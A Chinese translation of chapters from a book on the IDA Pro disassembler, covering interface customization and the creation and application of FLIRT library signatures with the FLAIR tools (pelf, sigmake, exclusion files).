IDA 有大量的其他选项,必须通过 IDA 用户界面进行配置。在第七章(第 7.反汇编操作)中讨论了格式化单个反汇编行的选项。通过选项菜单可以访问额外的 IDA 选项,在大多数情况下,您修改的任何选项仅适用于当前打开的数据库。这些选项的值在关闭数据库时存储在相关的数据库文件中。IDA 的颜色(选项 ▸ 颜色)和字体(选项 ▸ 字体)选项是此规则的例外,因为它们是全局选项,一旦设置,在所有未来的 IDA 会话中都将保持有效。对于 IDA 的 Windows 版本,选项值存储在 Windows 注册表中的HKEY_CURRENT_USER\Software\Hex-Rays\IDA注册表键下。对于非 Windows 版本的 IDA,这些值存储在您的家目录中,以名为$HOME/.idapro/ida.reg的专有格式文件中。

在注册表中保存的另一条信息是你可以选择“不再显示此对话框”选项的对话框。此消息偶尔以复选框的形式出现在某些你可能不想在未来看到的 informational message dialogs 的右下角。如果你选择此选项,将在 HKEY_CURRENT_USER\Software\Hex-Rays\IDA\Hidden Messages 注册键下创建一个注册表值。如果在以后的时间你想再次显示隐藏的对话框,你需要删除此注册键下的相应值。

IDA 颜色

IDA 显示中几乎每个项目的颜色都可以通过 图 11-1 中显示的“选项 ▸ 颜色”对话框进行自定义。

颜色选择对话框

图 11-1. 颜色选择对话框

解码标签页控制解码窗口中每行各个部分的颜色。解码窗口中可以出现的文本类型示例在示例窗口中给出 示例窗口。当你选择示例窗口中的某个项目时,该项目类型会在 项目类型列表 中列出。使用更改颜色按钮,你可以将任何你希望的颜色分配给任何你希望的项目。

颜色选择对话框包含用于分配导航栏、调试器、文本解码视图左侧边距中的跳转箭头以及图形视图中各种组件颜色的标签页。具体来说,图形标签页控制图形节点的着色、它们的标题栏以及连接每个节点的边,而解码标签页控制图形视图中解码文本的着色。杂项标签页允许自定义 IDA 消息窗口中使用的颜色。

自定义 IDA 工具栏

除了菜单和快捷键之外,IDA 的 GUI 版本提供了超过二十多个工具栏上的大量工具栏按钮。工具栏通常停靠在 IDA 菜单栏下方的工具栏区域。使用“查看 ▸ 工具栏”菜单可以访问两个预定义的工具栏布局:基本模式,它启用了 IDA 的七个工具栏,以及高级模式,它启用了所有 IDA 工具栏。可以单独拆分、拖动和重新定位工具栏到屏幕上的任何位置以适应个人喜好。如果你发现你不需要特定的工具栏,你可以通过“查看 ▸ 工具栏”菜单将其从显示中完全删除,该菜单在 图 11-2 中显示。

此菜单也会在你在 IDA 显示的停靠区域内任何位置右键单击时出现。关闭主工具栏将从停靠区域移除所有工具栏,这在需要最大化分配给反汇编窗口的屏幕空间时很有用。你对工具栏布局所做的任何更改都将与当前数据库一起保存。打开第二个数据库将恢复到在第二个数据库上次保存时生效的工具栏布局。打开新的二进制文件以创建新的数据库将恢复基于 IDA 当前默认工具栏设置的工具栏布局。

工具栏配置菜单

图 11-2. 工具栏配置菜单

如果你选择了一个你喜欢的工具栏布局并希望将其设置为默认,那么你应该使用 Windows ▸ 保存桌面来保存当前的桌面布局为默认桌面,这将打开显示在图 11-3 中的对话框。

保存反汇编桌面对话框

图 11-3. 保存反汇编桌面对话框

每次你保存桌面配置时,都会要求你为该配置提供一个名称。当选择默认复选框时,当前桌面布局将成为所有新数据库的默认布局,以及如果你选择 Windows ▸ 重置桌面将返回的桌面。要恢复到你的自定义桌面之一,选择Windows加载桌面并选择你希望加载的命名布局。保存和恢复桌面在涉及使用不同尺寸和/或分辨率的多个显示器的情况下特别有用(这在使用不同坞站或连接到投影仪进行演示的笔记本电脑中可能很常见)。

摘要

当你刚开始使用 IDA 时,你可能会对它的默认行为和默认 GUI 布局感到非常满意。随着你对 IDA 的基本功能越来越熟悉,你一定会找到将 IDA 定制到你个人喜好的方法。虽然无法在一个章节中提供 IDA 提供的每个可能选项的完整覆盖,但我们已经尝试提供指向那些选项可能被找到的主要位置的指针。我们还尝试突出显示那些你可能在 IDA 体验的某个时刻想要操作的最有可能的选项。发现更多有用的选项留作好奇读者的探索任务。

第十二章。使用 FLIRT 签名进行库识别

无标题图片

到此,是时候开始超越 IDA 更明显的功能,并开始探索“初始自动分析完成后”要做的事情了^([75))。在本章中,我们讨论了识别标准代码序列的技术,例如静态链接二进制文件中包含的库代码或编译器插入的标准初始化和辅助函数。

当你开始逆向工程任何二进制文件时,你最不想做的事情就是浪费时间逆向工程那些你可以通过阅读手册页、阅读一些源代码或进行一点网络研究就能轻易了解其行为的库函数。静态链接二进制文件所提出的挑战在于它们模糊了应用程序代码和库代码之间的区别。在静态链接的二进制文件中,整个库与应用程序代码结合形成一个单一的庞大可执行文件。幸运的是,我们有可用的工具,使 IDA 能够识别并标记库代码,从而让我们将注意力集中在应用程序中的独特代码上。

快速库识别和识别技术

快速库识别和识别技术,更广为人知的是 FLIRT^([76)),它包括 IDA 用来识别代码序列作为库代码所采用的一系列技术。FLIRT 的核心是模式匹配算法,它使 IDA 能够快速确定反汇编的函数是否与 IDA 已知的许多签名之一相匹配。《/sig》目录包含与 IDA 一起提供的签名文件。大多数情况下,这些是随常见 Windows 编译器一起提供的库,尽管也包括一些非 Windows 签名。

签名文件使用一种自定义格式,其中大部分签名数据被压缩并包裹在一个 IDA 特定的头部中。在大多数情况下,签名文件的名称并不清楚地表明与之关联的签名是从哪个库生成的。根据它们的创建方式,签名文件可能包含一个库名称注释,描述其内容。如果我们查看从签名文件中提取的前几行 ASCII 内容,这个注释通常会被揭示出来。以下 Unix 风格的命令^([77)) 通常会在输出的第二行或第三行中揭示注释:

# strings *`sigfile`* | head -n 3

在 IDA 中,有两种方式可以查看与签名文件关联的注释。首先,你可以通过“查看”▸“打开子视图”▸“签名”访问应用于二进制文件的签名列表。其次,所有签名文件的列表作为手动签名应用过程的一部分显示,该过程通过“文件”▸“加载文件”▸“FLIRT 签名文件”启动。


^([75]) 当 IDA 完成对新加载的二进制文件的自动处理时,它会在输出窗口生成此消息。

^([76]) 请参阅www.hex-rays.com/idapro/flirt.htm

^([77]) 在第二章中讨论了strings命令,而head命令用于仅查看其输入源的最初几行(例如示例中的三行)。

应用 FLIRT 签名

当首次打开二进制文件时,IDA 会尝试将特殊签名文件应用于二进制文件的入口点,这些签名文件被称为启动签名。结果证明,由各种编译器生成的入口点代码足够独特,匹配入口点签名是识别可能用于生成给定二进制文件的编译器的一种有用技术。

MAIN VS. _START

回想一下,程序的人口点是第一条将要执行的指令的地址。许多长期从事 C 语言编程的开发者错误地认为这是名为main的函数的地址,而实际上并非如此。程序的文件类型,而不是创建程序所使用的语言,决定了向程序提供命令行参数的方式。为了解决加载器呈现命令行参数的方式与程序期望接收它们的方式(例如通过main的参数)之间的任何差异,必须在将控制权传递给main之前执行一些初始化代码。IDA 将此初始化指定为程序的入口点,并标记为_start

此初始化代码还负责在允许main运行之前必须执行的所有初始化任务。在 C++程序中,此代码负责确保在执行main之前调用全局声明的对象的构造函数。同样,在main完成后插入清理代码,以便在程序实际终止之前调用所有全局对象的析构函数。

如果 IDA 识别出用于创建特定二进制的编译器,那么相应的编译器库的签名文件将被加载并应用于二进制的其余部分。IDA 随附的签名通常与专有编译器相关,例如 Microsoft Visual C++ 或 Borland Delphi。背后的原因是这些编译器随附的二进制库数量是有限的。对于开源编译器,如 GNU gcc,相关库的二进制变体数量与编译器支持的操作系统数量一样多。例如,FreeBSD 的每个版本都附带一个独特的 C 标准库版本。为了进行最佳模式匹配,需要为库的每个版本生成签名文件。考虑收集每个 Linux 发行版中每个版本所附带的 libc.a^([78]) 的所有变体是多么困难。这根本不切实际。部分差异是由于库源代码的变化导致的编译代码不同,但巨大的差异也源于不同的编译选项的使用,例如优化设置和使用不同的编译器版本来构建库。最终结果是,IDA 为开源编译器库提供的签名文件非常少。好消息,正如你很快就会看到的,是 Hex-Rays 提供了工具,允许你从静态库中生成自己的签名文件。

那么,在什么情况下你可能需要手动将签名应用于你的数据库之一?偶尔 IDA 正确识别出构建二进制的编译器,但没有相关编译器库的签名。在这种情况下,你可能需要没有签名地生活,或者你需要获取二进制中使用的静态库的副本并生成自己的签名。有时,IDA 可能简单地无法识别编译器,这使得确定应应用于数据库的签名变得不可能。这在分析混淆代码时很常见,其中启动例程被充分混淆,以至于无法识别编译器。因此,首先需要做的是在有任何希望匹配库签名之前,足够地去除二进制的混淆。我们将在 第二十一章 中讨论处理混淆代码的技术。

无论出于什么原因,如果你希望手动将签名应用于数据库,你可以通过 File ▸ Load File ▸ FLIRT Signature File 来完成,这将打开显示在 图 12-1 中的签名选择对话框。

FLIRT 签名选择

图 12-1. FLIRT 签名选择

文件列反映了 IDA 的 /sig 目录中每个 .sig 文件的名字。请注意,没有方法可以指定 .sig 文件的替代位置。如果您生成自己的签名,它们需要与每个其他的 .sig 文件一起放入 /sig 目录中。库名称列显示每个文件中嵌入的库名称注释。请记住,这些注释的描述性仅取决于签名创建者(这可能是您自己!)选择的程度。

当选择库模块时,对应 .sig 文件中包含的签名会被加载并与数据库中的每个函数进行比较。一次只能应用一组签名,因此如果您想对一个数据库应用多个不同的签名文件,您需要重复此过程。当找到一个与签名匹配的函数时,该函数会被标记为库函数,并且根据匹配到的签名自动重命名。

警告

只有使用 IDA 虚拟名称命名的函数才能自动重命名。换句话说,如果您已经重命名了一个函数,并且该函数后来与一个签名匹配,那么该函数不会因为匹配而重命名。因此,在分析过程的早期尽可能早地应用签名对您是有益的。

回想一下,静态链接的二进制模糊了应用程序代码和库代码之间的区别。如果您有幸拥有一个没有符号剥离的静态链接二进制文件,您至少会有有用的函数名(如可信的程序员选择创建的那样)来帮助您在代码中导航。然而,如果二进制文件已被剥离,您可能会有一百多个函数,所有这些函数都有 IDA 生成的名称,这些名称无法表明函数的功能。在这两种情况下,只有当有签名可用时,IDA 才能识别库函数(未剥离的二进制文件中的函数名称不提供足够的信息让 IDA 确定性地将函数识别为库函数)。图 12-2 显示了静态链接二进制的概览导航器。

没有签名的静态链接

图 12-2. 没有签名的静态链接

在这个显示中,没有识别出库函数,因此您可能会发现自己需要分析比实际需要的更多代码。在应用适当的签名集后,概览导航器会像图 12-3 所示那样转换。

应用了签名的静态链接二进制

图 12-3. 应用了签名的静态链接二进制

如你所见,Overview Navigator 提供了特定一组签名有效性的最佳指示。当匹配的签名比例很大时,大量代码将被标记为库代码并相应地重命名。在图 12-3 的例子中,实际的应用特定代码很可能集中在 navigator 显示的左侧远端部分。

在应用签名时有两个要点值得记住。首先,即使在与未剥离的二进制文件一起工作时,签名也是有用的,在这种情况下,你使用签名更多的是帮助 IDA 识别库函数,而不是重命名这些函数。其次,静态链接的二进制文件可能由几个独立的库组成,需要应用几组签名才能完全识别所有库函数。随着每次额外的签名应用,Overview Navigator 的更多部分将被转换以反映库代码的发现。图 12-4 显示了这样一个例子。在这个图中,你可以看到一个静态链接了 C 标准库和 OpenSSL^([79])加密库的二进制文件。

应用了第一个几个签名后的静态二进制

图 12-4. 应用了第一个几个签名后的静态二进制

具体来说,你可以看到在为该应用程序中使用的 OpenSSL 版本应用适当的签名后,IDA 标记了一个小带(地址范围的左侧较亮的带)为库代码。静态链接的二进制文件通常是通过首先取应用程序代码,然后附加所需的库来创建结果的可执行文件。根据这个图,我们可以得出结论,OpenSSL 库右侧的内存空间很可能被额外的库代码占用,而应用程序代码最有可能位于 OpenSSL 库左侧非常狭窄的带中。如果我们继续对图 12-4 中显示的二进制文件应用签名,我们最终会到达图 12-5 的显示。

应用了几个签名后的静态二进制

图 12-5. 应用了几个签名后的静态二进制

在这个例子中,我们为 libclibcryptolibkrb5libresolv 以及其他库应用了签名。在某些情况下,我们根据二进制文件中的字符串选择签名;在其他情况下,我们根据它们与二进制文件中已存在的其他库的紧密关系选择签名。结果显示在导航带中间仍然有一个深色带,在导航带最左边的边缘有一个较小的深色带。需要进一步分析以确定这些剩余的非库部分的二进制文件性质。在这种情况下,我们会发现中间较宽的深色带是某个未识别库的一部分,而左边的深色带是应用程序代码。


^([78]) libc.a 是在 Unix 风格系统上用于静态链接二进制文件的 C 标准库版本。

^([79]) 请参阅 www.openssl.org/.

创建 FLIRT 签名文件

正如我们之前讨论的,对于 IDA 来说,为现有的每个静态库提供签名文件是不切实际的。为了向 IDA 用户提供创建他们自己的签名所需的工具和信息,Hex-Rays 分发了快速库获取识别工具集 (FLAIR)。FLAIR 工具对授权客户在 IDA 分发 CD 上或通过 Hex-Rays 网站下载提供^([80])。像其他几个 IDA 扩展一样,FLAIR 工具以 Zip 文件的形式分发。Hex-Rays 并不一定在每个 IDA 版本中都发布 FLAIR 工具的新版本,因此您应该使用不超过您 IDA 版本的最新 FLAIR 版本。

FLAIR 工具的安装只需提取相关 Zip 文件的文件内容即可,尽管我们强烈建议您创建一个专门的 flair 目录作为目标,因为 Zip 文件没有组织成顶层目录。在 FLAIR 分发中,您将找到几个构成 FLAIR 工具文档的文本文件。特别感兴趣的文件包括这些:

readme.txt

这是对签名创建过程的顶层概述。

plb.txt

此文件描述了静态库解析器 plb.exe 的使用。库解析器在 创建模式文件 中有更详细的讨论。

pat.txt

此文件详细说明了模式文件的格式,它是签名创建过程的第一步。模式文件也在 创建模式文件 中有描述。

sigmake.txt

此文件描述了使用*sigmake.exe*从模式文件生成*.sig文件的使用方法。请参阅创建签名文件以获取更多详细信息。

其他值得注意的顶级内容包括*bin*目录,其中包含所有 FLAIR 工具的可执行文件,以及*startup*目录,其中包含与各种编译器及其相关输出文件类型(PE、ELF 等)相关联的常见启动序列的模式文件。在版本 6.1 之前,FLAIR 工具区域仅适用于 Windows;然而,生成的签名文件可以与所有 IDA 变体(Windows、Linux 和 OS X)一起使用。

签名创建概述

创建签名文件的基过程似乎并不复杂,因为它归结为四个听起来简单的步骤。

  1. 获取你希望为其创建签名文件的静态库的副本。

  2. 利用 FLAIR 解析器之一为库创建一个模式文件。

  3. 运行*sigmake.exe*来处理生成的模式文件并生成签名文件。

  4. 通过将其复制到*<IDADIR>/sig*来在 IDA 中安装新的签名文件。

不幸的是,在实践中,只有最后一步像听起来那么简单。在接下来的几节中,我们将更详细地讨论前三个步骤。

识别和获取静态库

签名生成过程的第一步是找到你希望为其生成签名的静态库的副本。这可能会因为各种原因而带来一些挑战。第一个障碍是确定你实际上需要哪个库。如果你正在分析的二进制文件尚未去符号,你可能很幸运,在反汇编中实际有函数名可用,在这种情况下,网络搜索可能会提供几个可能的候选者的线索。

去掉符号的二进制文件在提供其来源方面并不十分乐意。由于缺少函数名,你可能发现一个好的strings搜索可以产生足够独特的字符串,从而允许进行库识别,例如以下内容,这是一个明显的线索:

OpenSSL 1.0.0b-fips 16 Nov 2010

版权声明和错误字符串通常足够独特,因此你还可以使用网络搜索来缩小候选者范围。如果你选择从命令行运行strings,请记住使用-a选项强制strings扫描整个二进制文件;否则,你可能会错过一些可能有用的字符串数据。

对于开源库,你可能会发现源代码很容易获得。不幸的是,虽然源代码可能有助于你理解二进制文件的行为,但你不能用它来生成你的签名。可能可以使用源代码构建你自己的静态库版本,然后在该版本中用于签名生成过程。然而,很可能会在构建过程中的变化导致生成的库与你要分析的库之间有足够的不同,以至于你生成的任何签名都不会非常准确。

最佳选项是尝试确定所讨论的二进制文件的精确来源。我们这里指的是确切的操作系统、操作系统版本和发行版(如果适用)。有了这些信息,创建签名的最佳选项是从一个配置相同的系统中复制相关的库。自然地,这导致下一个挑战:给定一个任意的二进制文件,它在什么系统上创建的?一个很好的第一步是使用file实用程序来获取有关所讨论的二进制文件的一些初步信息。在第二章中,我们看到了file的一些示例输出。在几个案例中,这个输出足以提供可能的候选系统。以下是从file输出的一个非常具体的例子:

$ `file sample_file_1`
sample_file_1: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD),
statically linked, for FreeBSD 8.0 (800107), stripped

在这种情况下,我们可能会直接转向一个 FreeBSD 8.0 系统,并首先追踪libc.a。然而,以下例子有些模糊不清:

$ `file sample_file_2`
sample_file_2: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux),
statically linked, for GNU/Linux 2.6.32, stripped

我们似乎已经缩小了文件的来源到一个 Linux 系统,考虑到有大量的 Linux 发行版,这并没有说太多。转向strings,我们发现以下内容:

GCC: (GNU) 4.5.1 20100924 (Red Hat 4.5.1-4)

在这里,搜索已经缩小到带有 gcc 版本 4.5.1 的 Red Hat 发行版(或衍生版)。在用 gcc 编译的二进制文件中,这样的 GCC 标签并不罕见,而且幸运的是,它们在剥离过程中幸存下来,并且对strings可见。

请记住,file实用程序并不是文件识别的全部。以下输出演示了一个简单的情况,其中file似乎知道正在检查的文件类型,但输出相当不具体。

$ `file sample_file_3`
sample_file_3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked (uses shared libs), stripped

这个例子是从一个 Solaris 10 x86 系统取出的。在这里,strings实用程序可能有助于确定这一事实。

创建模式文件

在这个阶段,你应该已经有一到多个库,你希望为它们创建签名。下一步是为每个库创建一个模式文件。模式文件是通过使用适当的 FLAIR 解析器工具创建的。与可执行文件一样,库文件是根据各种文件格式规范构建的。FLAIR 为几种流行的库文件格式提供了解析器。正如 FLAIR 的readme.txt文件中详细说明的,以下解析器可以在 FLAIR 的bin目录中找到:

plb.exe/plb

OMF 库解析器(通常由 Borland 编译器使用)

pcf.exe/pcf

COFF 库解析器(通常由 Microsoft 编译器使用)

pelf.exe/pelf

ELF 库解析器(在许多 Unix 系统上找到)

ppsx.exe/ppsx

Sony PlayStation PSX 库解析器

ptmobj.exe/ptmobj

TriMedia 库解析器

pomf166.exe/pomf166

Kiel OMF 166 对象文件解析器

要为给定的库创建一个模式文件,请指定与库格式相对应的解析器、您希望解析的库的名称以及应生成的结果模式文件的名称。对于来自 FreeBSD 8.0 系统的 libc.a 的副本,您可能使用以下命令:

$ `./pelf libc.a libc_FreeBSD80.pat`
libc.a: skipped 1, total 1089

在这里,解析器报告了解析的文件(libc.a)、跳过的函数数量(1)^([81)和生成的签名模式数量(1089)。每个解析器接受一组略有不同的命令行选项,这些选项仅在解析器的用法说明中进行了文档化。不带参数执行解析器将显示该解析器接受的命令行选项列表。plb.txt 文件包含有关 plb 解析器接受的选项的更详细信息。该文件是很好的基本信息来源,因为其他解析器也接受其中描述的许多选项。在许多情况下,只需指定要解析的库和要生成的模式文件就足够了。

模式文件是一个文本文件,其中每行包含一个表示解析库中函数的提取模式。以下展示了之前创建的模式文件中的几行:

57568B7C240C8B742410FC8B4C2414C1E902F3A775108B4C241483E10
3F3A675 1E A55D 003E :0000 _memcmp
0FBC442404740340C39031C0C3...................................... 00
 0000 000D :0000 _ffs
57538B7C240C8B4C2410FC31C083F90F7E1B89FAF7DA83E20389CB29D389D1F3
 12 9E31 0032 :0000 _bzero

单个模式的格式在 FLAIR 的 pat.txt 文件中描述。简而言之,模式的第一个部分列出了函数的初始字节序列,最多 32 字节。考虑到由于重定位条目而可能变化的字节,这些字节使用两个点表示。当函数小于 32 字节(如前代码中的 _ffs)时,也使用点来填充模式至 64 个字符^([82])。在最初的 32 字节之后,记录了额外的信息,以在签名匹配过程中提供更高的精度。编码到每个模式行中的额外信息包括对函数部分计算出的 CRC16^([83]) 值、函数的字节数以及函数引用的符号名称列表。一般来说,引用许多其他符号的较长的函数会产生更复杂的模式行。在之前生成的 libc_FreeBSD80.pat 文件中,一些模式行的长度超过 20,000 个字符。

几位第三方程序员创建了旨在从现有的 IDA 数据库生成模式的工具。其中之一是 IDB_2_PAT,^([84]),这是一个由 J.C. Roberts 编写的 IDA 插件,能够从现有数据库中为一个或多个函数生成模式。如果你预计将在其他数据库中遇到类似的代码,但没有访问创建被分析二进制文件的原版库文件的权限,这类工具非常有用。

创建签名文件

一旦为某个库创建了一个模式文件,签名创建过程的下一步就是生成一个适合与 IDA 一起使用的 .sig 文件。IDA 签名文件的格式与模式文件有显著不同。签名文件使用一种专有二进制格式,旨在最小化表示模式文件中所有信息的空间需求,并允许对签名与实际数据库内容进行高效匹配。关于签名文件结构的详细描述可在 Hex-Rays 网站上找到.^([85])

FLAIR 的 sigmake 工具用于从模式文件创建签名文件。通过将模式生成和签名生成分为两个不同的阶段,签名生成过程完全独立于模式生成过程,这允许使用第三方模式生成器。在最简单的形式中,签名生成是通过使用 sigmake 解析 .pat 文件并创建 .sig 文件来实现的,如下所示:

$ `./sigmake libssl.pat libssl.sig`

如果一切顺利,将生成 .sig 文件并准备好安装到 /sig。然而,这个过程很少如此顺利。

注意

sigmake 文档文件 sigmake.txt 建议签名文件名应遵循 MS-DOS 8.3 的命名长度约定。但这并不是一个严格的要求。当使用较长的文件名时,签名选择对话框中仅显示基本文件名的第一个八个字符。

签名生成通常是一个迭代过程,因为在这一阶段必须处理 碰撞。碰撞发生在两个函数具有相同模式的情况下。如果以某种方式未解决碰撞,则在签名应用过程中无法确定实际匹配的是哪个函数。因此,sigmake 必须能够将每个生成的签名解析为确切的一个函数名。当这不可能实现时,基于一个或多个函数存在相同模式的情况,sigmake 拒绝生成 .sig 文件,并生成一个 排除文件 (.exc)。使用 sigmake 和新的 .pat 文件(或一组 .pat 文件)的典型第一次尝试可能产生以下结果。

$ ./sigmake libc_FreeBSD80.pat libc_FreeBSD80.sig
libc_FreeBSD80.sig: modules/leaves: 1088/1024, COLLISIONS: 10
See the documentation to learn how to resolve collisions.

所指的文档是*sigmake.txt*,它描述了sigmake的使用和冲突解决过程。实际上,每次执行sigmake时,它都会搜索一个可能包含有关如何解决sigmake在处理命名模式文件时可能遇到的任何冲突信息的排除文件。如果没有这样的排除文件,并且发生冲突,sigmake将生成这样的排除文件而不是签名文件。在前面的例子中,我们会找到一个新创建的名为*libc_FreeBSD80.exc*的文件。当首次创建时,排除文件是文本文件,详细说明了sigmake在处理模式文件时遇到的冲突。必须编辑排除文件以向sigmake提供有关如何解决冲突模式的指导。编辑排除文件的一般过程如下。

当由sigmake生成时,所有排除文件都以以下几行开始:

;--------- (delete these lines to allow sigmake to read this file)
; add '+' at the start of a line to select a module
; add '−' if you are not sure about the selection
; do nothing if you want to exclude all modules

这些行的目的是在您成功生成签名之前提醒您如何解决冲突。最重要的事情是删除以分号开始的四行,否则sigmake将在后续执行中无法解析排除文件。下一步是通知sigmake您希望解决冲突的愿望。以下是从*libc_FreeBSD80.exc*中提取的一些行:

_index   00 0000 538B4424088A4C240C908A1838D974074084DB75F531C05BC3..............
_strchr  00 0000 538B4424088A4C240C908A1838D974074084DB75F531C05BC3..............
_rindex  00 0000 538B5424088A4C240C31C0908A1A38D9750289D04284DB75F35BC3..........
_strrchr 00 0000 538B5424088A4C240C31C0908A1A38D9750289D04284DB75F35BC3..........
_flsl    01 EF04 5531D289E58B450885C0741183F801B201740AD1E883C20183F80175F65D89D0
_fls     01 EF04 5531D289E58B450885C0741183F801B201740AD1E883C20183F80175F65D89D0

这些行详细说明了三个不同的冲突。在这种情况下,我们被告知函数indexstrchr不可区分,rindexstrrchr具有相同的签名,而flslfls冲突。如果您熟悉这些函数中的任何一个,这个结果可能不会让您感到惊讶,因为冲突的函数基本上是相同的(例如,indexstrchr执行相同的操作)。

为了让您能够掌控自己的命运,sigmake期望您在每个组中指定不超过一个函数作为相关签名的正确函数。如果您想使名称在数据库中匹配相应签名时被应用,可以通过在名称前加上加号字符(+)来选择一个函数;如果您只想在数据库中匹配相应签名时添加注释,则使用减号字符(-)。如果您不想在数据库中匹配相应签名时应用任何名称,则不需要添加任何字符。以下列表表示为之前提到的三个冲突提供有效解决方法的一种可能方式:

+_index   00 0000 538B4424088A4C240C908A1838D974074084DB75F531C05BC3..............
_strchr  00 0000 538B4424088A4C240C908A1838D974074084DB75F531C05BC3..............
_rindex  00 0000 538B5424088A4C240C31C0908A1A38D9750289D04284DB75F35BC3..........
_strrchr 00 0000 538B5424088A4C240C31C0908A1A38D9750289D04284DB75F35BC3..........
_flsl    01 EF04 5531D289E58B450885C0741183F801B201740AD1E883C20183F80175F65D89D0
-_fls     01 EF04 5531D289E58B450885C0741183F801B201740AD1E883C20183F80175F65D89D0

在这种情况下,我们选择在第一个签名匹配时使用名称index,在第二个签名匹配时什么都不做,并在第三个签名匹配时添加关于fls的注释。在尝试解决冲突时,以下几点是有用的:

  1. 要执行最小化冲突解决,只需删除排除文件开头的四行注释即可。

  2. 永远不要在冲突组中的多个函数前添加 +/-

  3. 如果冲突组中只有一个函数,不要 在该函数前添加 +/-;只需让它保持原样。

  4. sigmake 的后续失败会导致数据(包括注释行)被附加到任何现有的排除文件中。在重新运行 sigmake 之前,应该删除这些额外数据并更正原始数据(如果数据是正确的,sigmake 不会在第二次尝试时失败)。

一旦您对排除文件进行了适当的更改,您必须保存文件并使用最初使用的相同命令行参数重新运行 sigmake。第二次运行时,sigmake 应该能够定位并遵守您的排除文件,从而成功生成一个 .sig 文件。sigmake 的成功运行可以通过没有错误消息和存在 .sig 文件来识别,如下所示:

$ `./sigmake libc_FreeBSD80.pat libc_FreeBSD80.sig`

在成功生成签名文件后,您可以通过将其复制到您的 /sig 目录来使它可供 IDA 使用。然后您的新签名可以通过文件 ▸ 加载文件 ▸ FLIRT 签名文件来使用。

注意,我们故意省略了可以提供给模式生成器和 sigmake 的所有选项。有关可用选项的概述请参阅 plb.txtsigmake.txt。我们将注意的唯一选项是 sigmake 中使用的 -n 选项。此选项允许您在生成的签名文件中嵌入描述性名称。此名称在签名选择过程中显示(参见 图 12-1),并且在整理可用签名列表时非常有帮助。以下命令行将名称字符串“FreeBSD 8.0 C 标准库”嵌入到生成的签名文件中:

$ ./sigmake -n"FreeBSD 8.0 C standard library" libc_FreeBSD80.pat libc_FreeBSD80.sig

作为替代,可以使用排除文件中的指令指定库名称。然而,由于在所有签名生成情况下可能不需要排除文件,因此命令行选项通常更有用。有关更多详细信息,请参阅 sigmake.txt

启动签名

IDA 还识别一种称为 启动签名 的特殊签名形式。当二进制文件首次加载到数据库中时,会应用启动签名,以尝试识别用于创建二进制文件的编译器。如果 IDA 能够识别用于构建二进制文件的编译器,那么在二进制文件的初始分析过程中,将自动加载与识别的编译器相关的附加签名文件。

由于在文件首次加载时编译器类型是未知的,启动签名根据正在加载的二进制文件的文件类型进行分组和选择。例如,如果正在加载 Windows PE 二进制文件,那么将加载特定于 PE 二进制文件的启动签名,以确定用于构建相关 PE 二进制文件的编译器。

为了生成启动签名,sigmake 处理描述由各种编译器生成的启动例程^([86)) 的模式,并将生成的签名分组到一个单一类型的签名文件中。FLAIR 分发的 startup 目录包含 IDA 使用的启动模式,以及用于从这些模式创建相应启动签名的脚本 startup.bat。请参阅 startup.bat 以获取使用 sigmake 为特定文件格式创建启动签名的示例。

在 PE 文件的情况下,你会在启动目录中注意到几个 pe_.pat* 文件,这些文件描述了几个流行的 Windows 编译器使用的启动模式,包括用于 Visual Studio 模式的 pe_vc.pat 和用于 Cygwin/gcc 模式的 pe_gcc.pat。如果你希望为 PE 文件添加额外的启动模式,你需要将它们添加到现有的 PE 模式文件之一,或者创建一个以 pe_ 前缀的新模式文件,以便启动签名生成脚本能够正确地找到你的模式并将它们纳入新生成的 PE 签名中。

最后关于启动模式的一个注意事项是它们的格式,不幸的是,它与为库函数生成的模式略有不同。这种差异在于启动模式行能够将模式与额外的签名集相关联,如果与模式匹配,也应应用这些签名集。除了包含在 startup 目录中的示例启动模式之外,启动模式的格式在 FLAIR 提供的任何文本文件中都没有文档说明。


^([80)) 当前版本是 flair61.zip,可在以下链接获取:www.hex-rays.com/idapro/ida/flair61.zip。要访问下载,需要 Hex-Rays 提供的用户名和密码。

^([81]) plb 和 pcf 解析器可能会根据提供给解析器的命令行选项和正在解析的库的结构跳过一些函数。

^([82)) 每字节两个字符,显示 32 个字节的内容需要 64 个十六进制字符。

^([83)) 这是一个 16 位循环冗余校验值。用于模式生成的 CRC16 实现包含在 FLAIR 工具分发的 crc16.cpp 文件中。

^([84)) 请参阅 www.openrce.org/downloads/details/26/IDB_2_PAT

^([85]) 请参阅 www.hex-rays.com/idapro/flirt.htm

^([86)) 启动例程通常被指定为程序的入口点。在 C/C++程序中,启动例程的目的是在将控制权传递给 main 函数之前初始化程序的环境。

摘要

自动库代码识别是一个基本功能,它可以显著减少分析静态链接二进制文件所需的时间。凭借其 FLIRT 和 FLAIR 功能,IDA 不仅使这种自动代码识别成为可能,而且还允许用户从现有的静态库中创建自己的库签名,从而使其可扩展。熟悉签名生成过程对于预期会遇到静态链接二进制文件的人来说是一项基本技能。

第十三章。扩展 IDA 的知识

无标题图片

到现在为止,应该已经很清楚,高质量的反汇编远不止是从字节序列中派生出的助记符和操作数列表。为了使反汇编变得有用,重要的是要使用从各种 API 相关数据处理中获取的信息来增强反汇编,例如函数原型和标准数据类型。在第八章中,我们讨论了 IDA 处理数据结构的方法,包括如何访问标准 API 数据结构和如何定义自己的自定义数据结构。在本章中,我们继续通过检查 IDA 的idsutilsloadint实用程序的使用来扩展 IDA 的知识。这些实用程序可在您的 IDA 分发 CD 上找到,或者通过 Hex-Rays 下载站点下载。^([[87)]]

增强函数信息

IDA 从两个来源获取其关于函数的知识:类型库 (.til) 文件和 IDS 实用程序 (.ids) 文件。在初始分析阶段,IDA 使用存储在这些文件中的信息来提高反汇编的准确性,并使反汇编更易于阅读。它是通过包含函数参数名称和类型以及与各种库函数相关联的注释来实现的。

